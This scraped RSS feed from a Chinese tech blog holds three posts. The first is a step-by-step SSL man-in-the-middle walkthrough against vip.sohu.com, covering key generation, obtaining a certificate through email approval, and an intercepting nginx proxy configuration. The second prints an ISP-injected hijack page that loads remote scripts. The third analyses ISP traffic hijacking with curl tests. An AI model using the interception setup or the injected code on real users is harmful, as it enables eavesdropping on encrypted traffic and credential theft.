狂人山庄 | Silence,声仔,吴洪声,奶罩 » hijack http://wuhongsheng.com 响应我党号召,全面建设和谐博客,坚持和谐写博的路线不动摇 Mon, 14 Jun 2010 06:54:41 +0000 en hourly 1 http://wordpress.org/?v=3.0 SSL窃听攻击实操 http://wuhongsheng.com/it/2009/09/ssl-hijack/ http://wuhongsheng.com/it/2009/09/ssl-hijack/#comments Tue, 29 Sep 2009 05:07:13 +0000 吴洪声 http://wuhongsheng.com/?p=315
  • UUCall域名被clientHold Domain Name: UUCALL.COM Registrar: BEIJING INNOVATIVE LINKAGE TECHNOLOGY LTD. DBA...
    • Related posts brought to you by Yet Another Related Posts Plugin.]]>     OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子
    SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。
    对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。
    所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。
    当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。

    废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr

    Sam@Bra:~$ mkdir ssltest
Sam@Bra:~$ cd ssltest
Sam@Bra:~/ssltest$ openssl genrsa -out vip.sohu.com.key 1024
Generating RSA private key, 1024 bit long modulus
............++++++
.....................++++++
e is 65537 (0x10001)
Sam@Bra:~/ssltest$ openssl req -new -key vip.sohu.com.key -out vip.sohu.com.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CN
State or Province Name (full name) [Some-State]:BeiJing
Locality Name (eg, city) []:BeiJing
Organization Name (eg, company) [Internet Widgits Pty Ltd]:fake sohu
Organizational Unit Name (eg, section) []:fake
Common Name (eg, YOUR name) []:vip.sohu.com
Email Address []:ssladmin@vip.sohu.com
 
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

    well，这样我们就有了一个用于vip.sohu.com的申请了，接着我们去签发这个申请

    sslhijack1

    然后系统会给你一大堆管理员相关的邮箱等你去选
    sslhijack2

    选上一个后，ca就会给你所选的邮箱发送一封确认邮件，邮件中带有一个连接，打开连接后会让你确认，确认后。。。嘿嘿，证书就到手了
    sslhijack3

    sslhijack4sslhijack5sslhijack6

    把申请下来的证书保存一下，然后修改下nginx的配置文件，把证书加上，并且设置一个反向代理到vip.sohu.com，大概的样子如下

        # HTTPS server
    #
    server {
        listen       443;
        server_name  vip.sohu.com;
 
        ssl                  on;
        ssl_certificate      sslkeys/vip.sohu.com.crt;
        ssl_certificate_key  sslkeys/vip.sohu.com.key;
 
        ssl_session_timeout  5m;
 
        ssl_protocols  SSLv2 SSLv3 TLSv1;
        ssl_ciphers  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
        ssl_prefer_server_ciphers   on;
 
        location / {
                proxy_pass      https://vip.sohu.com;
        }
    }

    搞定，保存，重启nginx。修改本机的hosts文件，把vip.sohu.com这个域名指向nginx所在的服务器

    127.0.0.1 vip.sohu.com

    打开浏览器，输入https://vip.sohu.com，你会发现。。。。根本没任何报错或者警告信息！也就是说，ssl证书被成功替换，再就是说，你的所有传输都被劫持了。
    经过测试，IE、firefox、safari等浏览器同仁纷纷表示对替换证书的行为毫不知情并对被替换后的证书予以大力支持，大肆宣扬被劫持的网站是高可信度的网站。

    回头再简单阐述这个过程：用户访问一个网站，但中间已经被插了一层proxy。proxy使用了一个真实的并且高度可信的证书与用户交换数据。用户和proxy之间使用ssl加密通道交换数据。数据到了proxy后，会被解密并监听分析。之后proxy再模仿成一个client向网站的服务器发送数据，同样传输也是ssl加密的。网站的服务器对此毫不知情，只能获取到是proxy发出的请求，但其实proxy并不是最终用户，数据其实早已被监听并分析。

    最后，还是应了那句话：不要迷恋ssl，ssl只是个传说

    备注：
    1.转载请注明出处：http://wuhongsheng.com/it/2009/09/ssl-hijack/
    2.sohu的哥们不要来找我麻烦或者跨省追捕，选上你们是因为你们太安全了，支持ssl访问邮箱
    3.有时间大家还是多点关注我的DNSPod，最近DNSPod正在招人，人不好找啊。。。请大家帮忙宣传下，介绍一些人才过来 https://www.dnspod.com/About/Jobs

    前面一张图是sohu自己原始的证书，第二张开始就是被替换后的证书
    sslhijack7

    sslhijack8

    sslhijack9

    sslhijack10

    Related posts:

    1. UUCall域名被clientHold Domain Name: UUCALL.COM Registrar: BEIJING INNOVATIVE LINKAGE TECHNOLOGY LTD. DBA...

    Related posts brought to you by Yet Another Related Posts Plugin.

    ]]>     http://wuhongsheng.com/it/2009/09/ssl-hijack/feed/ 18     湛江电信ADSL继续强奸用户 http://wuhongsheng.com/life/2009/04/zhanjiang-telecom-hijack-adsl-user/ http://wuhongsheng.com/life/2009/04/zhanjiang-telecom-hijack-adsl-user/#comments Fri, 24 Apr 2009 11:23:06 +0000 吴洪声 http://wuhongsheng.com/life/2009/04/zhanjiang-telecom-hijack-adsl-user/
  • SSL窃听攻击实操 OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir...
  • 看看卡巴斯基能坚持到什么时候 相信最近一个多月中，机器装了卡巴斯基的朋友访问我的blog的时候，一定会出现一个网页有毒的警报。而有毒的文件则是favicon.ico。其实我的网站之前是没有这个文件的，是WordPress输出了一个404，然后后面带上了不少js内容，但卡巴就没有判断网页其实已经是404，就这样以为是带毒了。 事情已经过去有快2个月了，到今天为止还是有不少人跟我说我的blog被挂马。我很好奇，对于这个误报的情况，卡巴还能坚持多久？...
    • Related posts brought to you by Yet Another Related Posts Plugin.]]>     立此存照

    <html>

    <head>

    <meta http-equiv=’pragma’ content=’no-cache’/>

    <meta http-equiv=’expires’ content=’-1′/>

    <script>

    window.setInterval(‘window.status=location.href’, 200);

    </script>

    </head>

    <body scroll=’no’ style=’border:0; margin:0; padding:0;’ id=’mainbody’>

    <iframe src=’about:blank’ width=’100%’ height=’100%’ frameborder=’0′></iframe>

    <script language=’JavaScript’ src=’http://121.10.130.24:1010/open.js’></script>

    <script language=’JavaScript’>

    var content=’http://welcome.gd.vnet.cn/ztts/happytv%5Fnb/?p=1240568245|11215897|388|448|0|0&param=ABioyajZGekprChZWXkIu/zsnM0Zib2Y+Qk5achpabwszHx9mKjJqNkZ6Sms3ChZWXkIu/zsnM0Zib2ZyWi4aWm8LP2YyQio2cmoqNk8KLjZ6bmtGLnpCdnpDRnJCS0IuNnpua0JaLmpKTloyL0JOWjIugjJCTm6CWi5qSjNGXi5I=’;

    <!– Web Stats –> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!– End Web Stats –>

    var old_url=’http://trade.taobao.com/trade/itemlist/list_sold_items.htm?’;

    var param=’350|250|9′;

    var stat_path = ‘http://121.10.130.13/stat.aspx?p=1240568245|11215897|388|448|0|0′;

    try{OpenWin();}catch(e){location.reload(true);}

    </script>

    </body>

    </html>

    Related posts:

    1. SSL窃听攻击实操 OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir...
    2. 看看卡巴斯基能坚持到什么时候 相信最近一个多月中，机器装了卡巴斯基的朋友访问我的blog的时候，一定会出现一个网页有毒的警报。而有毒的文件则是favicon.ico。其实我的网站之前是没有这个文件的，是WordPress输出了一个404，然后后面带上了不少js内容，但卡巴就没有判断网页其实已经是404，就这样以为是带毒了。 事情已经过去有快2个月了，到今天为止还是有不少人跟我说我的blog被挂马。我很好奇，对于这个误报的情况，卡巴还能坚持多久？...

    Related posts brought to you by Yet Another Related Posts Plugin.

    ]]>     http://wuhongsheng.com/life/2009/04/zhanjiang-telecom-hijack-adsl-user/feed/ 2     网通用户访问VeryCD等P2P网站被劫持的分析和解决方案 http://wuhongsheng.com/it/2008/11/analysis-and-resolve-of-hijack-when-beijing-cnc-users-access-verycdcom-and-others-p2p-website/ http://wuhongsheng.com/it/2008/11/analysis-and-resolve-of-hijack-when-beijing-cnc-users-access-verycdcom-and-others-p2p-website/#comments Sat, 08 Nov 2008 15:46:30 +0000 吴洪声 http://wuhongsheng.com/?p=214
  • SSL窃听攻击实操 OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir...
    • Related posts brought to you by Yet Another Related Posts Plugin.]]>     今天总算闲了下来，随手把前几天VeryCD被劫持的一些分析记录和解决方法整理出来。相信这份资料对个人站长来说非常有参考价值。

    顺便推荐一下Caoz写的一篇文章，希望大家都能了解做网站背后的辛酸：由做站长的艰辛说起

    ====
    话说VeryCD等网站被劫持的第二天，劫持还在继续。我闲着无聊在QQ群里胡扯，被Dash和xdanger逮到。正好我非常荣幸的是北京网通用户，这个伟大的任务就只能交给我了。

    先用正常方式访问一下VeryCD，得到下面的结果

    Sam@Bogon:~$ curl -v -H www.verycd.com
* About to connect() to x.x.x.x port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to x.x.x.x (x.x.x.x) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
> Accept: */*
> Host: www.verycd.com
> 
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=gb2312
< Content-Length:182
< 
<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>warn</title></head><frameset cols="100"><frame src="http://www.baidu.com"/></frameset></html>
* Connection #0 to host x.x.x.x left intact
* Closing connection #0
Sam@Bogon:~$

    可以发现返回的结果直接被劫持并替换。并不像一般的挂马等行为是在网页内容的最前或者最后部分插入劫持代码。

    之后直接输入VeryCD的IP，返回的结果是VeryCD的squid服务器默认页面，说明IP并没有成为劫持的判断标准。应该是VeryCD的域名或者网页中某个特征导致劫持设备对内容进行替换。（此处省略结果）

    既然域名是判断的标准之一，那么就可以尝试替换HTTP协议中Host的办法来测试

    (1)
Sam@Bogon:~$ curl -v -H 'Host: www.veryc.com' www.verycd.com
* About to connect() to www.verycd.com port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to www.verycd.com (x.x.x.x) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
> Accept: */*
> Host: www.veryc.com
> 
< HTTP/1.1 200 OK
(略)
 
(2)
Sam@Bogon:~$ curl -v -H 'Host: verycd.com' www.verycd.com
* About to connect() to www.verycd.com port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to www.verycd.com (x.x.x.x) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
> Accept: */*
> Host: verycd.com
> 
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=gb2312
< Content-Length:182
< 
<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>warn</title></head><frameset cols="100"><frame src="http://www.baidu.com"/></frameset></html>
* Connection #0 to host www.verycd.com left intact
* Closing connection #0
Sam@Bogon:~$ 
 
(3)
Sam@Bogon:~$ curl -v -H 'Host: www.veryc.com' www.verycd.com/verycd.com
* About to connect() to www.verycd.com port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to www.verycd.com (x.x.x.x) port 80 (#0)
> GET /verycd.com HTTP/1.1
> User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
> Accept: */*
> Host: www.veryc.com
> 
< HTTP/1.1 200 OK
(略)
 
(3)
Sam@Bogon:~$ curl -v -H 'Host: w.verycd.com' www.verycd.com
* About to connect() to www.verycd.com port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to www.verycd.com (x.x.x.x) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
> Accept: */*
> Host: w.verycd.com
> 
< HTTP/1.1 200 OK
(略)

    例子中，分别用了4种测试方法
    1为发送一个主机头为www.veryc.com的请求到verycd的服务器，可以看到数据正常返回，没有被劫持
    2为发送了一个主机头为verycd.com的请求到verycd的服务器，可以看到数据被劫持了
    3为发送了一个主机头为www.veryc.com，使用GET方式获取/verycd.com文件的请求到verycd的服务器，可以看到数据正常返回，没有被劫持
    4为发送一个主机头为w.verycd.com的请求到verycd的服务器，可以发现数据没有被劫持

    通过上面的结论可以看出，用于劫持的设备只对域名的host部分做判断。

    我们再来一个有趣的测试：如果把host发送到网通的bbn.com.cn去会怎样呢？

    Sam@Bogon:~$ curl -v -H "Host: www.vercd.com" www.bbn.com.cn
* About to connect() to www.bbn.com.cn port 80 (#0)
*   Trying 202.106.195.131... connected
* Connected to www.bbn.com.cn (202.106.195.131) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
> Accept: */*
> Host: www.vercd.com
> 
< HTTP/1.1 200 OK
< Date: Sat, 08 Nov 2008 13:33:06 GMT
< Server: Apache/2.0.59 (Unix) DAV/2
< Last-Modified: Thu, 06 Nov 2008 07:21:36 GMT
< ETag: "73c63-119c6-259cc000"
< Accept-Ranges: bytes
< Content-Length: 72134
< Content-Type: text/html
< Set-Cookie: BIGipServerweb_pool=107325632.20480.0000; path=/
< 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
(略)

    可以看到，什么事情都不会发生。这说明劫持设备应该是在北京网通出口上。

    为了证实设备就在北京网通的出口上，我分别用北京不同线路的机器进行了测试，发现访问均一切正常。但某小ISP租用了网通的出口，出现了被劫持的情况。
    为了再证实我的猜想，我在一台位于北京某不受影响的ISP的服务器上分别装了pptpd和rinetd，先测试使用VPN链接到此服务器pptpd，所有数据包通过此服务器发送，访问VeryCD.com，一切正常，数据没有被劫持。
    然后再把本机的hosts指向此服务器，通过服务器的rinetd对数据包进行转发至VeryCD的服务器，发现数据包被劫持。
    结论：加密后的数据不会被劫持。

    我再到外部随便找了一台服务器，此服务器跟VeryCD无任何关系，也不位于同一物理位置，结果如下

    Sam@Bogon:~$ curl -v -H 'Host: www.verycd.com' server.outside
* About to connect() to server.outside port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to server.outside (x.x.x.x) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
> Accept: */*
> Host: www.verycd.com
> 
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=gb2312
< Content-Length:182
< 
<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>warn</title></head><frameset cols="100"><frame src="http://www.baidu.com"/></frameset></html>
* Connection #0 to host server.outside left intact
* Closing connection #0

    分析到了这一步，事情已经非常明朗了：
    在北京网通的出口，被人有意或者无意放置了一套类似于GFW的设备用于劫持所有在列表内的P2P网站。我个人更加愿意相信这是网通在测试新设备。因为很明显，劫持后返回的数据使用了一个警告（warn）的标题，劫持者对于这些被劫持的网站的流量有一个很清晰的认识，并没有自己使用服务器来支撑这些流量（根据我掌握的数据，这些网站的流量，就算是静态的html文件也需要十几台服务器做支撑），而是不带任何用于分成或者统计的代码跳转到百度（百度用于统计和分成的代码是tn=xxxx）。（被劫持的第三天有部分流量被分到information.com，直接把information.com弄挂了）。
    至于百度也是有苦难言。白白来了这么多无效流量，消耗资源不说，还要背上一个骂名。据我所知，出事后百度也在到处找方式接触受害网站了解情况。

    ====
    解决方法：
    根据上面的结论，这件事情的解决方法有下面几种：
    1.更换域名，跟劫持者耗。对网站所有者来说低成本，但会造成大量用户不知道新域名而流失。但可以借助百度贴吧来解决。
    2.使用BGP协议，更改北京网通用户到网站服务器之间的路由，跳过劫持设备。缺点是成本太高，BGP协议可以被网通人为忽略。
    3.在劫持设备以内放置一台分流服务器，分流服务器使用VPN或者别的加密链路链接至主服务器进行数据交换。这样用户使用非加密链接链接至分流服务器，劫持设备无法进行劫持。
    4.网站使用ssl，用户和网站之间数据均经过加密，劫持设备无法截取。

    ====
    课外作业：
    既然这套设备类似GFW，众所周知GFW是双向的，不知道这套设备怎样呢？带着这个疑问，我做了一个课外实验，让外省的朋友使用上面的测试方法访问我的机器

    curl -vIH "Host: www.verycd.com" http://124.64.1xx.xx/
* About to connect() to 124.64.1xx.xx port 80 (#0)
*   Trying 124.64.1xx.xx... connected
* Connected to 124.64.1xx.xx (124.64.1xx.xx) port 80 (#0)
> HEAD / HTTP/1.1
> User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
> Accept: */*
> Host: www.verycd.com
> 
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Thu, 06 Nov 2008 15:28:27 GMT
Date: Thu, 06 Nov 2008 15:28:27 GMT
< Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7l
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7l
< Last-Modified: Mon, 24 Sep 2007 05:23:06 GMT
Last-Modified: Mon, 24 Sep 2007 05:23:06 GMT
< ETag: "29d84-17ef-43adad0ba6280"
ETag: "29d84-17ef-43adad0ba6280"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 6127
Content-Length: 6127
< MS-Author-Via: DAV
MS-Author-Via: DAV
< Content-Type: text/html
Content-Type: text/html

    可以看到，这套设备真不咋地，不支持反向过滤。

    ====
    又及：
    在测试的过程中，我发现连续发送N个请求出去，总有几个漏网之鱼，能正确返回数据。这说明了啥？
    1.设备是旁路的，失败的截取不会影响到正常的数据传输
    2.设备要么是性能有缺陷，要么有防ddos的功能。我更加愿意相信前者。
    3.不管设备是性能有缺陷还是能防ddos，我相信一点：在大量数据的攻击下，设备肯定会失去部分作用。

    Related posts:

    1. SSL窃听攻击实操 OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir...

    Related posts brought to you by Yet Another Related Posts Plugin.

    ]]>     http://wuhongsheng.com/it/2008/11/analysis-and-resolve-of-hijack-when-beijing-cnc-users-access-verycdcom-and-others-p2p-website/feed/ 4